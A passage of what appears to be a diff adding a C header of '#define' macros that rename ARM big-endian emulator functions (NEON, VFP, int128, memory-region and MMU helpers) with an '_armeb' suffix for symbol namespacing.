helper_neon_ceq_f32_armeb +#define helper_neon_ceq_u16 helper_neon_ceq_u16_armeb +#define helper_neon_ceq_u32 helper_neon_ceq_u32_armeb +#define helper_neon_ceq_u8 helper_neon_ceq_u8_armeb +#define helper_neon_cge_f32 helper_neon_cge_f32_armeb +#define helper_neon_cge_s16 helper_neon_cge_s16_armeb +#define helper_neon_cge_s32 helper_neon_cge_s32_armeb +#define helper_neon_cge_s8 helper_neon_cge_s8_armeb +#define helper_neon_cge_u16 helper_neon_cge_u16_armeb +#define helper_neon_cge_u32 helper_neon_cge_u32_armeb +#define helper_neon_cge_u8 helper_neon_cge_u8_armeb +#define helper_neon_cgt_f32 helper_neon_cgt_f32_armeb +#define helper_neon_cgt_s16 helper_neon_cgt_s16_armeb +#define helper_neon_cgt_s32 helper_neon_cgt_s32_armeb +#define helper_neon_cgt_s8 helper_neon_cgt_s8_armeb +#define helper_neon_cgt_u16 helper_neon_cgt_u16_armeb +#define helper_neon_cgt_u32 helper_neon_cgt_u32_armeb +#define helper_neon_cgt_u8 helper_neon_cgt_u8_armeb +#define helper_neon_cls_s16 helper_neon_cls_s16_armeb +#define helper_neon_cls_s32 helper_neon_cls_s32_armeb +#define helper_neon_cls_s8 helper_neon_cls_s8_armeb +#define helper_neon_clz_u16 helper_neon_clz_u16_armeb +#define helper_neon_clz_u8 helper_neon_clz_u8_armeb +#define helper_neon_cnt_u8 helper_neon_cnt_u8_armeb +#define helper_neon_fcvt_f16_to_f32 helper_neon_fcvt_f16_to_f32_armeb +#define helper_neon_fcvt_f32_to_f16 helper_neon_fcvt_f32_to_f16_armeb +#define helper_neon_hadd_s16 helper_neon_hadd_s16_armeb +#define helper_neon_hadd_s32 helper_neon_hadd_s32_armeb +#define helper_neon_hadd_s8 helper_neon_hadd_s8_armeb +#define helper_neon_hadd_u16 helper_neon_hadd_u16_armeb +#define helper_neon_hadd_u32 helper_neon_hadd_u32_armeb +#define helper_neon_hadd_u8 helper_neon_hadd_u8_armeb +#define helper_neon_hsub_s16 helper_neon_hsub_s16_armeb +#define helper_neon_hsub_s32 helper_neon_hsub_s32_armeb +#define helper_neon_hsub_s8 helper_neon_hsub_s8_armeb +#define helper_neon_hsub_u16 helper_neon_hsub_u16_armeb +#define helper_neon_hsub_u32 helper_neon_hsub_u32_armeb +#define helper_neon_hsub_u8 helper_neon_hsub_u8_armeb +#define helper_neon_max_s16 helper_neon_max_s16_armeb +#define helper_neon_max_s32 helper_neon_max_s32_armeb +#define helper_neon_max_s8 helper_neon_max_s8_armeb +#define helper_neon_max_u16 helper_neon_max_u16_armeb +#define helper_neon_max_u32 helper_neon_max_u32_armeb +#define helper_neon_max_u8 helper_neon_max_u8_armeb +#define helper_neon_min_s16 helper_neon_min_s16_armeb +#define helper_neon_min_s32 helper_neon_min_s32_armeb +#define helper_neon_min_s8 helper_neon_min_s8_armeb +#define helper_neon_min_u16 helper_neon_min_u16_armeb +#define helper_neon_min_u32 helper_neon_min_u32_armeb +#define helper_neon_min_u8 helper_neon_min_u8_armeb +#define helper_neon_mull_p8 helper_neon_mull_p8_armeb +#define helper_neon_mull_s16 helper_neon_mull_s16_armeb +#define helper_neon_mull_s8 helper_neon_mull_s8_armeb +#define helper_neon_mull_u16 helper_neon_mull_u16_armeb +#define helper_neon_mull_u8 helper_neon_mull_u8_armeb +#define helper_neon_mul_p8 helper_neon_mul_p8_armeb +#define helper_neon_mul_u16 helper_neon_mul_u16_armeb +#define helper_neon_mul_u8 helper_neon_mul_u8_armeb +#define helper_neon_narrow_high_u16 helper_neon_narrow_high_u16_armeb +#define helper_neon_narrow_high_u8 helper_neon_narrow_high_u8_armeb +#define helper_neon_narrow_round_high_u16 helper_neon_narrow_round_high_u16_armeb +#define helper_neon_narrow_round_high_u8 helper_neon_narrow_round_high_u8_armeb +#define helper_neon_narrow_sat_s16 helper_neon_narrow_sat_s16_armeb +#define helper_neon_narrow_sat_s32 helper_neon_narrow_sat_s32_armeb +#define helper_neon_narrow_sat_s8 helper_neon_narrow_sat_s8_armeb +#define helper_neon_narrow_sat_u16 helper_neon_narrow_sat_u16_armeb +#define helper_neon_narrow_sat_u32 helper_neon_narrow_sat_u32_armeb +#define helper_neon_narrow_sat_u8 helper_neon_narrow_sat_u8_armeb +#define helper_neon_narrow_u16 helper_neon_narrow_u16_armeb +#define helper_neon_narrow_u8 helper_neon_narrow_u8_armeb +#define helper_neon_negl_u16 helper_neon_negl_u16_armeb +#define helper_neon_negl_u32 helper_neon_negl_u32_armeb +#define helper_neon_paddl_u16 helper_neon_paddl_u16_armeb +#define helper_neon_paddl_u32 helper_neon_paddl_u32_armeb +#define helper_neon_padd_u16 helper_neon_padd_u16_armeb +#define helper_neon_padd_u8 helper_neon_padd_u8_armeb +#define helper_neon_pmax_s16 helper_neon_pmax_s16_armeb +#define helper_neon_pmax_s8 helper_neon_pmax_s8_armeb +#define helper_neon_pmax_u16 helper_neon_pmax_u16_armeb +#define helper_neon_pmax_u8 helper_neon_pmax_u8_armeb +#define helper_neon_pmin_s16 helper_neon_pmin_s16_armeb +#define helper_neon_pmin_s8 helper_neon_pmin_s8_armeb +#define helper_neon_pmin_u16 helper_neon_pmin_u16_armeb +#define helper_neon_pmin_u8 helper_neon_pmin_u8_armeb +#define helper_neon_pmull_64_hi helper_neon_pmull_64_hi_armeb +#define helper_neon_pmull_64_lo helper_neon_pmull_64_lo_armeb +#define helper_neon_qabs_s16 helper_neon_qabs_s16_armeb +#define helper_neon_qabs_s32 helper_neon_qabs_s32_armeb +#define helper_neon_qabs_s64 helper_neon_qabs_s64_armeb +#define helper_neon_qabs_s8 helper_neon_qabs_s8_armeb +#define helper_neon_qadd_s16 helper_neon_qadd_s16_armeb +#define helper_neon_qadd_s32 helper_neon_qadd_s32_armeb +#define helper_neon_qadd_s64 helper_neon_qadd_s64_armeb +#define helper_neon_qadd_s8 helper_neon_qadd_s8_armeb +#define helper_neon_qadd_u16 helper_neon_qadd_u16_armeb +#define helper_neon_qadd_u32 helper_neon_qadd_u32_armeb +#define helper_neon_qadd_u64 helper_neon_qadd_u64_armeb +#define helper_neon_qadd_u8 helper_neon_qadd_u8_armeb +#define helper_neon_qdmulh_s16 helper_neon_qdmulh_s16_armeb +#define helper_neon_qdmulh_s32 helper_neon_qdmulh_s32_armeb +#define helper_neon_qneg_s16 helper_neon_qneg_s16_armeb +#define helper_neon_qneg_s32 helper_neon_qneg_s32_armeb +#define helper_neon_qneg_s64 helper_neon_qneg_s64_armeb +#define helper_neon_qneg_s8 helper_neon_qneg_s8_armeb +#define helper_neon_qrdmulh_s16 helper_neon_qrdmulh_s16_armeb +#define helper_neon_qrdmulh_s32 helper_neon_qrdmulh_s32_armeb +#define helper_neon_qrshl_s16 helper_neon_qrshl_s16_armeb +#define helper_neon_qrshl_s32 helper_neon_qrshl_s32_armeb +#define helper_neon_qrshl_s64 helper_neon_qrshl_s64_armeb +#define helper_neon_qrshl_s8 helper_neon_qrshl_s8_armeb +#define helper_neon_qrshl_u16 helper_neon_qrshl_u16_armeb +#define helper_neon_qrshl_u32 helper_neon_qrshl_u32_armeb +#define helper_neon_qrshl_u64 helper_neon_qrshl_u64_armeb +#define helper_neon_qrshl_u8 helper_neon_qrshl_u8_armeb +#define helper_neon_qshl_s16 helper_neon_qshl_s16_armeb +#define helper_neon_qshl_s32 helper_neon_qshl_s32_armeb +#define helper_neon_qshl_s64 helper_neon_qshl_s64_armeb +#define helper_neon_qshl_s8 helper_neon_qshl_s8_armeb +#define helper_neon_qshl_u16 helper_neon_qshl_u16_armeb +#define helper_neon_qshl_u32 helper_neon_qshl_u32_armeb +#define helper_neon_qshl_u64 helper_neon_qshl_u64_armeb +#define helper_neon_qshl_u8 helper_neon_qshl_u8_armeb +#define helper_neon_qshlu_s16 helper_neon_qshlu_s16_armeb +#define helper_neon_qshlu_s32 helper_neon_qshlu_s32_armeb +#define helper_neon_qshlu_s64 helper_neon_qshlu_s64_armeb +#define helper_neon_qshlu_s8 helper_neon_qshlu_s8_armeb +#define helper_neon_qsub_s16 helper_neon_qsub_s16_armeb +#define helper_neon_qsub_s32 helper_neon_qsub_s32_armeb +#define helper_neon_qsub_s64 helper_neon_qsub_s64_armeb +#define helper_neon_qsub_s8 helper_neon_qsub_s8_armeb +#define helper_neon_qsub_u16 helper_neon_qsub_u16_armeb +#define helper_neon_qsub_u32 helper_neon_qsub_u32_armeb +#define helper_neon_qsub_u64 helper_neon_qsub_u64_armeb +#define helper_neon_qsub_u8 helper_neon_qsub_u8_armeb +#define helper_neon_qunzip16 helper_neon_qunzip16_armeb +#define helper_neon_qunzip32 helper_neon_qunzip32_armeb +#define helper_neon_qunzip8 helper_neon_qunzip8_armeb +#define helper_neon_qzip16 helper_neon_qzip16_armeb +#define helper_neon_qzip32 helper_neon_qzip32_armeb +#define helper_neon_qzip8 helper_neon_qzip8_armeb +#define helper_neon_rbit_u8 helper_neon_rbit_u8_armeb +#define helper_neon_rhadd_s16 helper_neon_rhadd_s16_armeb +#define helper_neon_rhadd_s32 helper_neon_rhadd_s32_armeb +#define helper_neon_rhadd_s8 helper_neon_rhadd_s8_armeb +#define helper_neon_rhadd_u16 helper_neon_rhadd_u16_armeb +#define helper_neon_rhadd_u32 helper_neon_rhadd_u32_armeb +#define helper_neon_rhadd_u8 helper_neon_rhadd_u8_armeb +#define helper_neon_rshl_s16 helper_neon_rshl_s16_armeb +#define helper_neon_rshl_s32 helper_neon_rshl_s32_armeb +#define helper_neon_rshl_s64 helper_neon_rshl_s64_armeb +#define helper_neon_rshl_s8 helper_neon_rshl_s8_armeb +#define helper_neon_rshl_u16 helper_neon_rshl_u16_armeb +#define helper_neon_rshl_u32 helper_neon_rshl_u32_armeb +#define helper_neon_rshl_u64 helper_neon_rshl_u64_armeb +#define helper_neon_rshl_u8 helper_neon_rshl_u8_armeb +#define helper_neon_shl_s16 helper_neon_shl_s16_armeb +#define helper_neon_shl_s32 helper_neon_shl_s32_armeb +#define helper_neon_shl_s64 helper_neon_shl_s64_armeb +#define helper_neon_shl_s8 helper_neon_shl_s8_armeb +#define helper_neon_shl_u16 helper_neon_shl_u16_armeb +#define helper_neon_shl_u32 helper_neon_shl_u32_armeb +#define helper_neon_shl_u64 helper_neon_shl_u64_armeb +#define helper_neon_shl_u8 helper_neon_shl_u8_armeb +#define helper_neon_sqadd_u16 helper_neon_sqadd_u16_armeb +#define helper_neon_sqadd_u32 helper_neon_sqadd_u32_armeb +#define helper_neon_sqadd_u64 helper_neon_sqadd_u64_armeb +#define helper_neon_sqadd_u8 helper_neon_sqadd_u8_armeb +#define helper_neon_subl_u16 helper_neon_subl_u16_armeb +#define helper_neon_subl_u32 helper_neon_subl_u32_armeb +#define helper_neon_sub_u16 helper_neon_sub_u16_armeb +#define helper_neon_sub_u8 helper_neon_sub_u8_armeb +#define helper_neon_tbl helper_neon_tbl_armeb +#define helper_neon_tst_u16 helper_neon_tst_u16_armeb +#define helper_neon_tst_u32 helper_neon_tst_u32_armeb +#define helper_neon_tst_u8 helper_neon_tst_u8_armeb +#define helper_neon_unarrow_sat16 helper_neon_unarrow_sat16_armeb +#define helper_neon_unarrow_sat32 helper_neon_unarrow_sat32_armeb +#define helper_neon_unarrow_sat8 helper_neon_unarrow_sat8_armeb +#define helper_neon_unzip16 helper_neon_unzip16_armeb +#define helper_neon_unzip8 helper_neon_unzip8_armeb +#define helper_neon_uqadd_s16 helper_neon_uqadd_s16_armeb +#define helper_neon_uqadd_s32 helper_neon_uqadd_s32_armeb +#define helper_neon_uqadd_s64 helper_neon_uqadd_s64_armeb +#define helper_neon_uqadd_s8 helper_neon_uqadd_s8_armeb +#define helper_neon_widen_s16 helper_neon_widen_s16_armeb +#define helper_neon_widen_s8 helper_neon_widen_s8_armeb +#define helper_neon_widen_u16 helper_neon_widen_u16_armeb +#define helper_neon_widen_u8 helper_neon_widen_u8_armeb +#define helper_neon_zip16 helper_neon_zip16_armeb +#define helper_neon_zip8 helper_neon_zip8_armeb +#define helper_pre_hvc helper_pre_hvc_armeb +#define helper_pre_smc helper_pre_smc_armeb +#define helper_qadd16 helper_qadd16_armeb +#define helper_qadd8 helper_qadd8_armeb +#define helper_qaddsubx helper_qaddsubx_armeb +#define helper_qsub16 helper_qsub16_armeb +#define helper_qsub8 helper_qsub8_armeb +#define helper_qsubaddx helper_qsubaddx_armeb +#define helper_rbit helper_rbit_armeb +#define helper_recpe_f32 helper_recpe_f32_armeb +#define helper_recpe_f64 helper_recpe_f64_armeb +#define helper_recpe_u32 helper_recpe_u32_armeb +#define helper_recps_f32 helper_recps_f32_armeb +#define helper_ret_ldb_cmmu helper_ret_ldb_cmmu_armeb +#define helper_ret_ldsb_mmu helper_ret_ldsb_mmu_armeb +#define helper_ret_ldub_mmu helper_ret_ldub_mmu_armeb +#define helper_ret_stb_mmu helper_ret_stb_mmu_armeb +#define helper_rintd helper_rintd_armeb +#define helper_rintd_exact helper_rintd_exact_armeb +#define helper_rints helper_rints_armeb +#define helper_rints_exact helper_rints_exact_armeb +#define helper_ror_cc helper_ror_cc_armeb +#define helper_rsqrte_f32 helper_rsqrte_f32_armeb +#define helper_rsqrte_f64 helper_rsqrte_f64_armeb +#define helper_rsqrte_u32 helper_rsqrte_u32_armeb +#define helper_rsqrts_f32 helper_rsqrts_f32_armeb +#define helper_sadd16 helper_sadd16_armeb +#define helper_sadd8 helper_sadd8_armeb +#define helper_saddsubx helper_saddsubx_armeb +#define helper_sar_cc helper_sar_cc_armeb +#define helper_sdiv helper_sdiv_armeb +#define helper_sel_flags helper_sel_flags_armeb +#define helper_set_cp_reg helper_set_cp_reg_armeb +#define helper_set_cp_reg64 helper_set_cp_reg64_armeb +#define helper_set_neon_rmode helper_set_neon_rmode_armeb +#define helper_set_r13_banked helper_set_r13_banked_armeb +#define helper_set_rmode helper_set_rmode_armeb +#define helper_set_user_reg helper_set_user_reg_armeb +#define helper_shadd16 helper_shadd16_armeb +#define helper_shadd8 helper_shadd8_armeb +#define helper_shaddsubx helper_shaddsubx_armeb +#define helper_shl_cc helper_shl_cc_armeb +#define helper_shr_cc helper_shr_cc_armeb +#define helper_shsub16 helper_shsub16_armeb +#define helper_shsub8 helper_shsub8_armeb +#define helper_shsubaddx helper_shsubaddx_armeb +#define helper_ssat helper_ssat_armeb +#define helper_ssat16 helper_ssat16_armeb +#define helper_ssub16 helper_ssub16_armeb +#define helper_ssub8 helper_ssub8_armeb +#define helper_ssubaddx helper_ssubaddx_armeb +#define helper_stb_mmu helper_stb_mmu_armeb +#define helper_stl_mmu helper_stl_mmu_armeb +#define helper_stq_mmu helper_stq_mmu_armeb +#define helper_stw_mmu helper_stw_mmu_armeb +#define helper_sub_saturate helper_sub_saturate_armeb +#define helper_sub_usaturate helper_sub_usaturate_armeb +#define helper_sxtb16 helper_sxtb16_armeb +#define helper_uadd16 helper_uadd16_armeb +#define helper_uadd8 helper_uadd8_armeb +#define helper_uaddsubx helper_uaddsubx_armeb +#define helper_udiv helper_udiv_armeb +#define helper_uhadd16 helper_uhadd16_armeb +#define helper_uhadd8 helper_uhadd8_armeb +#define helper_uhaddsubx helper_uhaddsubx_armeb +#define helper_uhsub16 helper_uhsub16_armeb +#define helper_uhsub8 helper_uhsub8_armeb +#define helper_uhsubaddx helper_uhsubaddx_armeb +#define helper_uqadd16 helper_uqadd16_armeb +#define helper_uqadd8 helper_uqadd8_armeb +#define helper_uqaddsubx helper_uqaddsubx_armeb +#define helper_uqsub16 helper_uqsub16_armeb +#define helper_uqsub8 helper_uqsub8_armeb +#define helper_uqsubaddx helper_uqsubaddx_armeb +#define helper_usad8 helper_usad8_armeb +#define helper_usat helper_usat_armeb +#define helper_usat16 helper_usat16_armeb +#define helper_usub16 helper_usub16_armeb +#define helper_usub8 helper_usub8_armeb +#define helper_usubaddx helper_usubaddx_armeb +#define helper_uxtb16 helper_uxtb16_armeb +#define helper_v7m_mrs helper_v7m_mrs_armeb +#define helper_v7m_msr helper_v7m_msr_armeb +#define helper_vfp_absd helper_vfp_absd_armeb +#define helper_vfp_abss helper_vfp_abss_armeb +#define helper_vfp_addd helper_vfp_addd_armeb +#define helper_vfp_adds helper_vfp_adds_armeb +#define helper_vfp_cmpd helper_vfp_cmpd_armeb +#define helper_vfp_cmped helper_vfp_cmped_armeb +#define helper_vfp_cmpes helper_vfp_cmpes_armeb +#define helper_vfp_cmps helper_vfp_cmps_armeb +#define helper_vfp_divd helper_vfp_divd_armeb +#define helper_vfp_divs helper_vfp_divs_armeb +#define helper_vfp_fcvtds helper_vfp_fcvtds_armeb +#define helper_vfp_fcvt_f16_to_f32 helper_vfp_fcvt_f16_to_f32_armeb +#define helper_vfp_fcvt_f16_to_f64 helper_vfp_fcvt_f16_to_f64_armeb +#define helper_vfp_fcvt_f32_to_f16 helper_vfp_fcvt_f32_to_f16_armeb +#define helper_vfp_fcvt_f64_to_f16 helper_vfp_fcvt_f64_to_f16_armeb +#define helper_vfp_fcvtsd helper_vfp_fcvtsd_armeb +#define helper_vfp_get_fpscr helper_vfp_get_fpscr_armeb +#define helper_vfp_maxd helper_vfp_maxd_armeb +#define helper_vfp_maxnumd helper_vfp_maxnumd_armeb +#define helper_vfp_maxnums helper_vfp_maxnums_armeb +#define helper_vfp_maxs helper_vfp_maxs_armeb +#define helper_vfp_mind helper_vfp_mind_armeb +#define helper_vfp_minnumd helper_vfp_minnumd_armeb +#define helper_vfp_minnums helper_vfp_minnums_armeb +#define helper_vfp_mins helper_vfp_mins_armeb +#define helper_vfp_muladdd helper_vfp_muladdd_armeb +#define helper_vfp_muladds helper_vfp_muladds_armeb +#define helper_vfp_muld helper_vfp_muld_armeb +#define helper_vfp_muls helper_vfp_muls_armeb +#define helper_vfp_negd helper_vfp_negd_armeb +#define helper_vfp_negs helper_vfp_negs_armeb +#define helper_vfp_set_fpscr helper_vfp_set_fpscr_armeb +#define helper_vfp_shtod helper_vfp_shtod_armeb +#define helper_vfp_shtos helper_vfp_shtos_armeb +#define helper_vfp_sitod helper_vfp_sitod_armeb +#define helper_vfp_sitos helper_vfp_sitos_armeb +#define helper_vfp_sltod helper_vfp_sltod_armeb +#define helper_vfp_sltos helper_vfp_sltos_armeb +#define helper_vfp_sqrtd helper_vfp_sqrtd_armeb +#define helper_vfp_sqrts helper_vfp_sqrts_armeb +#define helper_vfp_sqtod helper_vfp_sqtod_armeb +#define helper_vfp_sqtos helper_vfp_sqtos_armeb +#define helper_vfp_subd helper_vfp_subd_armeb +#define helper_vfp_subs helper_vfp_subs_armeb +#define helper_vfp_toshd helper_vfp_toshd_armeb +#define helper_vfp_toshd_round_to_zero helper_vfp_toshd_round_to_zero_armeb +#define helper_vfp_toshs helper_vfp_toshs_armeb +#define helper_vfp_toshs_round_to_zero helper_vfp_toshs_round_to_zero_armeb +#define helper_vfp_tosid helper_vfp_tosid_armeb +#define helper_vfp_tosis helper_vfp_tosis_armeb +#define helper_vfp_tosizd helper_vfp_tosizd_armeb +#define helper_vfp_tosizs helper_vfp_tosizs_armeb +#define helper_vfp_tosld helper_vfp_tosld_armeb +#define helper_vfp_tosld_round_to_zero helper_vfp_tosld_round_to_zero_armeb +#define helper_vfp_tosls helper_vfp_tosls_armeb +#define helper_vfp_tosls_round_to_zero helper_vfp_tosls_round_to_zero_armeb +#define helper_vfp_tosqd helper_vfp_tosqd_armeb +#define helper_vfp_tosqs helper_vfp_tosqs_armeb +#define helper_vfp_touhd helper_vfp_touhd_armeb +#define helper_vfp_touhd_round_to_zero helper_vfp_touhd_round_to_zero_armeb +#define helper_vfp_touhs helper_vfp_touhs_armeb +#define helper_vfp_touhs_round_to_zero helper_vfp_touhs_round_to_zero_armeb +#define helper_vfp_touid helper_vfp_touid_armeb +#define helper_vfp_touis helper_vfp_touis_armeb +#define helper_vfp_touizd helper_vfp_touizd_armeb +#define helper_vfp_touizs helper_vfp_touizs_armeb +#define helper_vfp_tould helper_vfp_tould_armeb +#define helper_vfp_tould_round_to_zero helper_vfp_tould_round_to_zero_armeb +#define helper_vfp_touls helper_vfp_touls_armeb +#define helper_vfp_touls_round_to_zero helper_vfp_touls_round_to_zero_armeb +#define helper_vfp_touqd helper_vfp_touqd_armeb +#define helper_vfp_touqs helper_vfp_touqs_armeb +#define helper_vfp_uhtod helper_vfp_uhtod_armeb +#define helper_vfp_uhtos helper_vfp_uhtos_armeb +#define helper_vfp_uitod helper_vfp_uitod_armeb +#define helper_vfp_uitos helper_vfp_uitos_armeb +#define helper_vfp_ultod helper_vfp_ultod_armeb +#define helper_vfp_ultos helper_vfp_ultos_armeb +#define helper_vfp_uqtod helper_vfp_uqtod_armeb +#define helper_vfp_uqtos helper_vfp_uqtos_armeb +#define helper_wfe helper_wfe_armeb +#define helper_wfi helper_wfi_armeb +#define hex2decimal hex2decimal_armeb +#define hw_breakpoint_update hw_breakpoint_update_armeb +#define hw_breakpoint_update_all hw_breakpoint_update_all_armeb +#define hw_watchpoint_update hw_watchpoint_update_armeb +#define hw_watchpoint_update_all hw_watchpoint_update_all_armeb +#define _init _init_armeb +#define init_cpreg_list init_cpreg_list_armeb +#define init_lists init_lists_armeb +#define input_type_enum input_type_enum_armeb +#define int128_2_64 int128_2_64_armeb +#define int128_add int128_add_armeb +#define int128_addto int128_addto_armeb +#define int128_and int128_and_armeb +#define int128_eq int128_eq_armeb +#define int128_ge int128_ge_armeb +#define int128_get64 int128_get64_armeb +#define int128_gt int128_gt_armeb +#define int128_le int128_le_armeb +#define int128_lt int128_lt_armeb +#define int128_make64 int128_make64_armeb +#define int128_max int128_max_armeb +#define int128_min int128_min_armeb +#define int128_ne int128_ne_armeb +#define int128_neg int128_neg_armeb +#define int128_nz int128_nz_armeb +#define int128_rshift int128_rshift_armeb +#define int128_sub int128_sub_armeb +#define int128_subfrom int128_subfrom_armeb +#define int128_zero int128_zero_armeb +#define int16_to_float32 int16_to_float32_armeb +#define int16_to_float64 int16_to_float64_armeb +#define int32_to_float128 int32_to_float128_armeb +#define int32_to_float32 int32_to_float32_armeb +#define int32_to_float64 int32_to_float64_armeb +#define int32_to_floatx80 int32_to_floatx80_armeb +#define int64_to_float128 int64_to_float128_armeb +#define int64_to_float32 int64_to_float32_armeb +#define int64_to_float64 int64_to_float64_armeb +#define int64_to_floatx80 int64_to_floatx80_armeb +#define invalidate_and_set_dirty invalidate_and_set_dirty_armeb +#define invalidate_page_bitmap invalidate_page_bitmap_armeb +#define io_mem_read io_mem_read_armeb +#define io_mem_write io_mem_write_armeb +#define io_readb io_readb_armeb +#define io_readl io_readl_armeb +#define io_readq io_readq_armeb +#define io_readw io_readw_armeb +#define iotlb_to_region iotlb_to_region_armeb +#define io_writeb io_writeb_armeb +#define io_writel io_writel_armeb +#define io_writeq io_writeq_armeb +#define io_writew io_writew_armeb +#define is_a64 is_a64_armeb +#define is_help_option is_help_option_armeb +#define isr_read isr_read_armeb +#define is_valid_option_list is_valid_option_list_armeb +#define iwmmxt_load_creg iwmmxt_load_creg_armeb +#define iwmmxt_load_reg iwmmxt_load_reg_armeb +#define iwmmxt_store_creg iwmmxt_store_creg_armeb +#define iwmmxt_store_reg iwmmxt_store_reg_armeb +#define __jit_debug_descriptor __jit_debug_descriptor_armeb +#define __jit_debug_register_code __jit_debug_register_code_armeb +#define kvm_to_cpreg_id kvm_to_cpreg_id_armeb +#define last_ram_offset last_ram_offset_armeb +#define ldl_be_p ldl_be_p_armeb +#define ldl_be_phys ldl_be_phys_armeb +#define ldl_he_p ldl_he_p_armeb +#define ldl_le_p ldl_le_p_armeb +#define ldl_le_phys ldl_le_phys_armeb +#define ldl_phys ldl_phys_armeb +#define ldl_phys_internal ldl_phys_internal_armeb +#define ldq_be_p ldq_be_p_armeb +#define ldq_be_phys ldq_be_phys_armeb +#define ldq_he_p ldq_he_p_armeb +#define ldq_le_p ldq_le_p_armeb +#define ldq_le_phys ldq_le_phys_armeb +#define ldq_phys ldq_phys_armeb +#define ldq_phys_internal ldq_phys_internal_armeb +#define ldst_name ldst_name_armeb +#define ldub_p ldub_p_armeb +#define ldub_phys ldub_phys_armeb +#define lduw_be_p lduw_be_p_armeb +#define lduw_be_phys lduw_be_phys_armeb +#define lduw_he_p lduw_he_p_armeb +#define lduw_le_p lduw_le_p_armeb +#define lduw_le_phys lduw_le_phys_armeb +#define lduw_phys lduw_phys_armeb +#define lduw_phys_internal lduw_phys_internal_armeb +#define le128 le128_armeb +#define linked_bp_matches linked_bp_matches_armeb +#define listener_add_address_space listener_add_address_space_armeb +#define load_cpu_offset load_cpu_offset_armeb +#define load_reg load_reg_armeb +#define load_reg_var load_reg_var_armeb +#define log_cpu_state log_cpu_state_armeb +#define lpae_cp_reginfo lpae_cp_reginfo_armeb +#define lt128 lt128_armeb +#define machine_class_init machine_class_init_armeb +#define machine_finalize machine_finalize_armeb +#define machine_info machine_info_armeb +#define machine_initfn machine_initfn_armeb +#define machine_register_types machine_register_types_armeb +#define machvirt_init machvirt_init_armeb +#define machvirt_machine_init machvirt_machine_init_armeb +#define maj maj_armeb +#define mapping_conflict mapping_conflict_armeb +#define mapping_contiguous mapping_contiguous_armeb +#define mapping_have_same_region mapping_have_same_region_armeb +#define mapping_merge mapping_merge_armeb +#define mem_add mem_add_armeb +#define mem_begin mem_begin_armeb +#define mem_commit mem_commit_armeb +#define memory_access_is_direct memory_access_is_direct_armeb +#define memory_access_size memory_access_size_armeb +#define memory_init memory_init_armeb +#define memory_listener_match memory_listener_match_armeb +#define memory_listener_register memory_listener_register_armeb +#define memory_listener_unregister memory_listener_unregister_armeb +#define memory_map_init memory_map_init_armeb +#define memory_mapping_filter memory_mapping_filter_armeb +#define memory_mapping_list_add_mapping_sorted memory_mapping_list_add_mapping_sorted_armeb +#define memory_mapping_list_add_merge_sorted memory_mapping_list_add_merge_sorted_armeb +#define memory_mapping_list_free memory_mapping_list_free_armeb +#define memory_mapping_list_init memory_mapping_list_init_armeb +#define memory_region_access_valid memory_region_access_valid_armeb +#define memory_region_add_subregion memory_region_add_subregion_armeb +#define memory_region_add_subregion_common memory_region_add_subregion_common_armeb +#define memory_region_add_subregion_overlap memory_region_add_subregion_overlap_armeb +#define memory_region_big_endian memory_region_big_endian_armeb +#define memory_region_clear_pending memory_region_clear_pending_armeb +#define memory_region_del_subregion memory_region_del_subregion_armeb +#define memory_region_destructor_alias memory_region_destructor_alias_armeb +#define memory_region_destructor_none memory_region_destructor_none_armeb +#define memory_region_destructor_ram memory_region_destructor_ram_armeb +#define memory_region_destructor_ram_from_ptr memory_region_destructor_ram_from_ptr_armeb +#define memory_region_dispatch_read memory_region_dispatch_read_armeb +#define memory_region_dispatch_read1 memory_region_dispatch_read1_armeb +#define memory_region_dispatch_write memory_region_dispatch_write_armeb +#define memory_region_escape_name memory_region_escape_name_armeb +#define memory_region_finalize memory_region_finalize_armeb +#define memory_region_find memory_region_find_armeb +#define memory_region_get_addr memory_region_get_addr_armeb +#define memory_region_get_alignment memory_region_get_alignment_armeb +#define memory_region_get_container memory_region_get_container_armeb +#define memory_region_get_fd memory_region_get_fd_armeb +#define memory_region_get_may_overlap memory_region_get_may_overlap_armeb +#define memory_region_get_priority memory_region_get_priority_armeb +#define memory_region_get_ram_addr memory_region_get_ram_addr_armeb +#define memory_region_get_ram_ptr memory_region_get_ram_ptr_armeb +#define memory_region_get_size memory_region_get_size_armeb +#define memory_region_info memory_region_info_armeb +#define memory_region_init memory_region_init_armeb +#define memory_region_init_alias memory_region_init_alias_armeb +#define memory_region_initfn memory_region_initfn_armeb +#define memory_region_init_io memory_region_init_io_armeb +#define memory_region_init_ram memory_region_init_ram_armeb +#define memory_region_init_ram_ptr memory_region_init_ram_ptr_armeb +#define memory_region_init_reservation memory_region_init_reservation_armeb +#define memory_region_is_iommu memory_region_is_iommu_armeb +#define memory_region_is_logging memory_region_is_logging_armeb +#define memory_region_is_mapped memory_region_is_mapped_armeb +#define memory_region_is_ram memory_region_is_ram_armeb +#define memory_region_is_rom memory_region_is_rom_armeb +#define memory_region_is_romd memory_region_is_romd_armeb +#define memory_region_is_skip_dump memory_region_is_skip_dump_armeb +#define memory_region_is_unassigned memory_region_is_unassigned_armeb +#define memory_region_name memory_region_name_armeb +#define memory_region_need_escape memory_region_need_escape_armeb +#define memory_region_oldmmio_read_accessor memory_region_oldmmio_read_accessor_armeb +#define memory_region_oldmmio_write_accessor memory_region_oldmmio_write_accessor_armeb +#define memory_region_present memory_region_present_armeb +#define memory_region_read_accessor memory_region_read_accessor_armeb +#define memory_region_readd_subregion memory_region_readd_subregion_armeb +#define memory_region_ref memory_region_ref_armeb +#define memory_region_resolve_container memory_region_resolve_container_armeb +#define memory_region_rom_device_set_romd memory_region_rom_device_set_romd_armeb +#define memory_region_section_get_iotlb memory_region_section_get_iotlb_armeb +#define memory_region_set_address memory_region_set_address_armeb +#define memory_region_set_alias_offset memory_region_set_alias_offset_armeb +#define memory_region_set_enabled memory_region_set_enabled_armeb +#define memory_region_set_readonly memory_region_set_readonly_armeb +#define memory_region_set_skip_dump memory_region_set_skip_dump_armeb +#define memory_region_size memory_region_size_armeb +#define memory_region_to_address_space memory_region_to_address_space_armeb +#define memory_region_transaction_begin memory_region_transaction_begin_armeb +#define memory_region_transaction_commit memory_region_transaction_commit_armeb +#define memory_region_unref memory_region_unref_armeb +#define memory_region_update_container_subregions memory_region_update_container_subregions_armeb +#define memory_region_write_accessor memory_region_write_accessor_armeb +#define memory_region_wrong_endianness memory_region_wrong_endianness_armeb +#define memory_try_enable_merging memory_try_enable_merging_armeb +#define module_call_init module_call_init_armeb +#define module_load module_load_armeb +#define mpidr_cp_reginfo mpidr_cp_reginfo_armeb +#define mpidr_read mpidr_read_armeb +#define msr_mask msr_mask_armeb 